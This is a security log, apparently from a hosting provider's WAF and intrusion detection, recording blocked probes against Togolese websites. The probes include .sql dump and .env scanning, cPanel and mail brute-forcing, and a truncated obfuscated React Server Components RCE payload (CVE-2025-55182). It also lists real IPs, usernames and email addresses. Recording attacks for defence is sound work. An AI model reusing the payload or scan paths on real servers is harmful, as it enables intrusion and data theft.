domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:03-15.152.232.72.88||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 45.89.74.200
country_id: 690791
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:03-15.45.89.74.200||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.179.191.204
country_id: 2921044
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/package.sql||User:antasadmin||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.179.191.204
country_id: 2921044
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/services.sql||User:antasadmin||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 83.222.7.138
country_id: 1512440
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/uploads/images/18.jpeg HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.179.191.204
country_id: 2921044
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/public.sql||User:antasadmin||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.223.32.225
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:104.223.32.225||TA:104.223.32.225||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 128.199.123.37
country_id: 1880251
description:
[2026-06-13 03:18:20 +0000] info [cpaneld] 128.199.123.37 - sotranet "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sotranet (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 181.78.94.98
country_id: 3437598
description:
181.78.94.98 - - [13/Jun/2026:03:18:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6907757&pdata=https%253A%252F%252Fwebmail.leveinard.free.netmaster.tg%252F%253Flocale%253Dfr&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781320696 HTTP/2.0" 302 0 webmail.leveinard.free.netmaster.tg "https://webmail.leveinard.free.netmaster.tg/?locale=fr" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:181.78.94.98


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.179.191.204
country_id: 2921044
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/configuration.sql||User:antasadmin||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.179.191.204
country_id: 2921044
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/tokens.sql||User:antasadmin||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.179.191.204
country_id: 2921044
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/environment.sql||User:antasadmin||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 190.92.236.247
country_id: 1819730
description:
190.92.236.247 - - [13/Jun/2026:03:20:44 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6855273&pdata=https%253A%252F%252Flaunetogo.tg%252Fle-centre-de-mecanisation-agricole-de-tchitchao-une-revolution-agricole-togolaise-bientot-achevee%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781320842 HTTP/2.0" 302 0 launetogo.tg "https://launetogo.tg/le-centre-de-mecanisation-agricole-de-tchitchao-une-revolution-agricole-togolaise-bientot-achevee/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:190.92.236.247


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 199.120.15.134
country_id: 6252001
description:
199.120.15.134 - - [13/Jun/2026:03:21:15 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6907028&pdata=https%253A%252F%252Fwww.arse.tg%252Fwp-content%252Fuploads%252F2024%252F07%252FArrete_034_Modalites-et-Conditions_Autoproduction-1.pdf&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781320874 HTTP/2.0" 302 0 www.arse.tg "https://www.arse.tg/wp-content/uploads/2024/07/Arrete_034_Modalites-et-Conditions_Autoproduction-1.pdf" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:199.120.15.134


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 34.27.42.6
country_id: 6252001
description:
[2026-06-13 03:20:58 +0000] info [cpaneld] 34.27.42.6 - cafe "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cafe (has_cpuser_file failed)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.179.191.204
country_id: 2921044
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/dump.sql||User:antasadmin||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.179.191.204
country_id: 2921044
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/dataset.sql||User:antasadmin||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.179.191.204
country_id: 2921044
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/sqldump.sql||User:antasadmin||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.179.191.204
country_id: 2921044
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/upload.sql||User:antasadmin||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.179.191.204
country_id: 2921044
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/cdn.sql||User:antasadmin||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 82.24.150.208
country_id: 2510769
domain: ca-togo.org
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/www.nsiassurancestogo.com||User:egjvuiox||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.179.191.204
country_id: 2921044
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/dev.sql||User:antasadmin||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 43.156.17.27
country_id: 1880251
description:
43.156.17.27 - - [13/Jun/2026:03:28:08 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6973803&pdata=https%253A%252F%252Flaunetogo.tg%252F%2525f0%25259f%25259f%2525a5editorial-maitre-apevon-ou-lirresistible-tentation-insurrectionniste%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781321287 HTTP/2.0" 302 0 launetogo.tg "https://launetogo.tg/%f0%9f%9f%a5editorial-maitre-apevon-ou-lirresistible-tentation-insurrectionniste/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.156.17.27


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.179.191.204
country_id: 2921044
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/pre-prod.sql||User:antasadmin||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.179.191.204
country_id: 2921044
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/qa.sql||User:antasadmin||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.179.191.204
country_id: 2921044
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/nextjs.sql||User:antasadmin||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 35.189.83.195
country_id: 2635167
domain: vo2.mairie.tg.154-70-82-246.cpanel.site
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/env.old||User:fknmkmrv||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.179.191.204
country_id: 2921044
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/dotnet.sql||User:antasadmin||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.74.22.41
country_id: 2017370
description:
[2026-06-13 03:31:56 +0000] info [cpaneld] 45.74.22.41 - a.mathey "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user a.mathey (has_cpuser_file failed)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 148.113.166.150
country_id: 6251999
domain: ucao-uut.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/91.0.4472.77 Safari/537.36||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.179.191.204
country_id: 2921044
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/prestashop.sql||User:antasadmin||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.179.191.204
country_id: 2921044
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/drupal.sql||User:antasadmin||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.179.191.204
country_id: 2921044
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/kirby.sql||User:antasadmin||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.179.191.204
country_id: 2921044
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/pip.sql||User:antasadmin||


plugin: modsec
rule: 77277975
name: IM360 WAF: XMLRPC getUsersBlogs RBL brute
abuser: 83.142.52.29
country_id: 294640
domain: www.v2.arse.tg
description:
IM360 WAF: XMLRPC getUsersBlogs RBL brute||Username:Ajatovivi1994.www.v2.arse.tg||Method:wp.getUsersBlogs


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.179.191.204
country_id: 2921044
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/pipeline.sql||User:antasadmin||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.179.191.204
country_id: 2921044
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/docker-compose.sql||User:antasadmin||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.179.191.204
country_id: 2921044
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/logs.sql||User:antasadmin||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.179.191.204
country_id: 2921044
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/users.sql||User:antasadmin||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 24.199.119.136
country_id: 6252001
description:
Jun 13 03:38:43 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 24.199.119.136 has been locked due to Imunify RBL


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.179.191.204
country_id: 2921044
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/migrations.sql||User:antasadmin||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 34.72.176.129
country_id: 6252001
description:
34.72.176.129 - - [13/Jun/2026:03:40:56 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10066023&pdata=http%253A%252F%252Falerte.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781322049 HTTP/1.1" 404 561 alerte.tg "http://alerte.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.72.176.129


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.179.191.204
country_id: 2921044
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/certificates.sql||User:antasadmin||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.74.22.41
country_id: 2017370
description:
[2026-06-13 03:41:10 +0000] info [cpaneld] 45.74.22.41 - conseiller "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user conseiller (has_cpuser_file failed)


plugin: modsec
rule: 77350582
name: IM360 WAF: Bytedancewebview detected
abuser: 52.80.102.53
country_id: 1814991
domain: macite.tg
description:
IM360 WAF: Bytedancewebview detected||UA:Mozilla/5.0 (Linux; Android 10; HD1900 Build/QKQ1.190716.003; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/75.0.3770.156 Mobile Safari/537.36  aweme_230400 JsSdk/1.0 NetType/WIFI  AppName/aweme app_version/23.4.0 ByteLocale/zh-CN Region/CN AppSkin/white AppTheme/light BytedanceWebview/d8a21c6 WebView/075113004008||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.122.147.229
country_id: 6252001
description:
34.122.147.229 - - [13/Jun/2026:03:41:06 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13134998&pdata=http%253A%252F%252Falerte.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781322064 HTTP/1.1" 302 0 alerte.tg "http://alerte.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.122.147.229


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.72.176.129
country_id: 6252001
description:
34.72.176.129 - - [13/Jun/2026:03:40:59 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6986901&pdata=http%253A%252F%252Falerte.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781322054 HTTP/1.1" 302 0 alerte.tg "http://alerte.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.72.176.129


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.179.191.204
country_id: 2921044
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/backup/site_backup.sql||User:antasadmin||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.122.147.229
country_id: 6252001
description:
34.122.147.229 - - [13/Jun/2026:03:41:42 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10184560&pdata=https%253A%252F%252Falerte.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781322101 HTTP/2.0" 302 0 alerte.tg "https://alerte.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.122.147.229


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.179.191.204
country_id: 2921044
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/backup/restore.sql||User:antasadmin||


plugin: modsec
rule: 77350582
name: IM360 WAF: Bytedancewebview detected
abuser: 45.3.36.169
country_id: 6252001
domain: auditeccandco.com
description:
IM360 WAF: Bytedancewebview detected||UA:Mozilla/5.0 (Linux; Android 10; JSN-L21 Build/HONORJSN-L21; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/99.0.4844.73 Mobile Safari/537.36  trill_2022307030 JsSdk/1.0 NetType/WIFI Channel/googleplay AppName/musical_ly app_version/23.7.3 ByteLocale/pl-PL ByteFullLocale/pl-PL Region/GB BytedanceWebview/d8a21c6||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 115.190.238.96
country_id: 1814991
description:
Jun 13 03:48:46 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 115.190.238.96 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.11
country_id: 6252001
description:
205.169.39.11 - - [13/Jun/2026:03:51:10 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13003618&pdata=http%253A%252F%252Falerte.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781322667 HTTP/1.1" 302 0 alerte.tg "http://alerte.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.11


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.181.87.42
country_id: 3865483
description:
Jun 13 03:57:27 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.181.87.42 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 112.133.27.14
country_id: 1835841
description:
Jun 13 03:58:06 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 112.133.27.14 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 195.40.121.168
country_id: 1861060
domain: vitrinenews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:195.40.121.168||TA:195.40.121.168||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 151.245.206.48
country_id: 2635167
domain: vitrinenews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:151.245.206.48||TA:151.245.206.48||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 120.56.240.153
country_id: 1269750
description:
Jun 13 03:59:19 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 120.56.240.153 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 204.217.245.23
country_id: 2635167
domain: vitrinenews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:204.217.245.23||TA:204.217.245.23||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 152.232.103.99
country_id: 6252001
domain: vitrinenews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:152.232.103.99||TA:152.232.103.99||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 172.121.139.108
country_id: 6252001
domain: vitrinenews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:172.121.139.108||TA:172.121.139.108||


plugin: modsec
rule: 77674285
name: IM360 WAF: Track upload attempt
abuser: 43.156.162.139
country_id: 1880251
domain: togodailynews.tg
description:
IM360 WAF: Track upload attempt||MVN:ARGS:request_uri||MV:bien-etre-des-communautes-togolaises-une-lettre-de-mission-executee-a-974/||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 115.190.238.96
country_id: 1814991
description:
Jun 13 04:04:20 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 115.190.238.96 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.198.173.145
country_id: 1819730
description:
Jun 13 04:13:07 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.198.173.145 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 184.68.123.34
country_id: 6251999
description:
Jun 13 04:13:14 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 184.68.123.34 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 184.68.123.34
country_id: 6251999
description:
Jun 13 04:13:22 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 184.68.123.34 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.152.237.47
country_id: 1814991
description:
2026-06-13 04:18:58 dovecot_plain authenticator failed for H=(jxrezrtbgoe7o2yklb97lnj) [123.152.237.47]:17300: 535 Incorrect authentication data (set_id=info@sigm.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 115.190.238.96
country_id: 1814991
description:
Jun 13 04:20:03 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 115.190.238.96 has been locked due to Imunify RBL


plugin: modsec
rule: 77093094
abuser: 98.92.97.151
country_id: 6252001
domain: mail.marketplace.netmaster.tg
name:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)

description:


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.220.101.39
country_id: 2921044
description:
Jun 13 04:20:33 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.220.101.39 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.220.101.39
country_id: 2921044
description:
2026-06-13 04:20:35 dovecot_plain authenticator failed for H=tor-exit-39.for-privacy.net (DESKTOP-53E0LT9) [185.220.101.39]:6407: 535 Incorrect authentication data (set_id=welborn.aflou@univ.ucao-uut.tg)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 34.228.187.23
country_id: 6252001
domain: direct7.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/138.0.7204.23 Safari/537.36||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.220.100.249
country_id: 2921044
description:
Jun 13 04:23:38 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.220.100.249 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.220.100.249
country_id: 2921044
description:
2026-06-13 04:23:40 dovecot_plain authenticator failed for H=tor-exit-10.zbau.f3netze.de (DESKTOP-53E0LT9) [185.220.100.249]:43020: 535 Incorrect authentication data (set_id=welborn.aflou@univ.ucao-uut.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 171.25.193.132
country_id: 2661886
description:
Jun 13 04:24:03 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 171.25.193.132 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.25.193.132
country_id: 2661886
description:
2026-06-13 04:24:05 dovecot_plain authenticator failed for H=tor-exit-read-me.dfri.se (DESKTOP-53E0LT9) [171.25.193.132]:38594: 535 Incorrect authentication data (set_id=welborn.aflou@univ.ucao-uut.tg)


plugin: modsec
rule: 77316736
name: IM360 WAF: Request body parsing error
abuser: 98.92.97.151
country_id: 6252001
domain: mail.test.free.netmaster.tg
description:
IM360 WAF: Request body parsing error||err_msg:Multipart parsing error: Multipart: No boundaries found in payload.||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.170.8
country_id: 3175395
description:
Jun 13 04:24:51 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.170.8 has been locked due to Imunify RBL


plugin: modsec
rule: 77093094
abuser: 98.92.97.151
country_id: 6252001
domain: mail.test.free.netmaster.tg
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"reason\":-1,\"x_df6882f1\":null,\"ns_cb56b85d\":0.0,\"status\":\"resolved_model\",\"then\":\"$1:__proto__:then\",\"$09eae2db\":null,\"ns_492a837b\":\"5713\",\"value\":\"{\\\"then\\\": \\\"$B0\\\"}\",\"_response\":{\"_prefix\":\"var agcxu=arguments['\\\\x31'];var qvgo=agcxu;try{var _v=((0,eval)(global[\\\"\\\\x42\\\\x75\\\\x66\\\\x66\\\\x65\\\\x72\\\


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.61.130.187
country_id: 6252001
description:
[2026-06-13 04:25:20 +0000] info [cpaneld] 45.61.130.187 - administration "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user administration (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.218.116.220
country_id: 1819730
description:
Jun 13 04:25:48 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.218.116.220 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 8.218.116.220
country_id: 1819730
description:
2026-06-13 04:25:50 dovecot_login authenticator failed for H=(8.218.116.220) [8.218.116.220]:59463: 535 Incorrect authentication data (set_id=stephane.o@cafe.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 5.110.75.44
country_id: 102358
description:
5.110.75.44 - - [13/Jun/2026:04:27:27 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9989223&pdata=https%253A%252F%252Ftogodailynews.tg%252Ftransformation-digitale-au-togo-lancement-imminent-du-projet-didentification-unique%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781324844 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/transformation-digitale-au-togo-lancement-imminent-du-projet-didentification-unique/" "Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.6100.1990 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:5.110.75.44


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.220.100.246
country_id: 2921044
description:
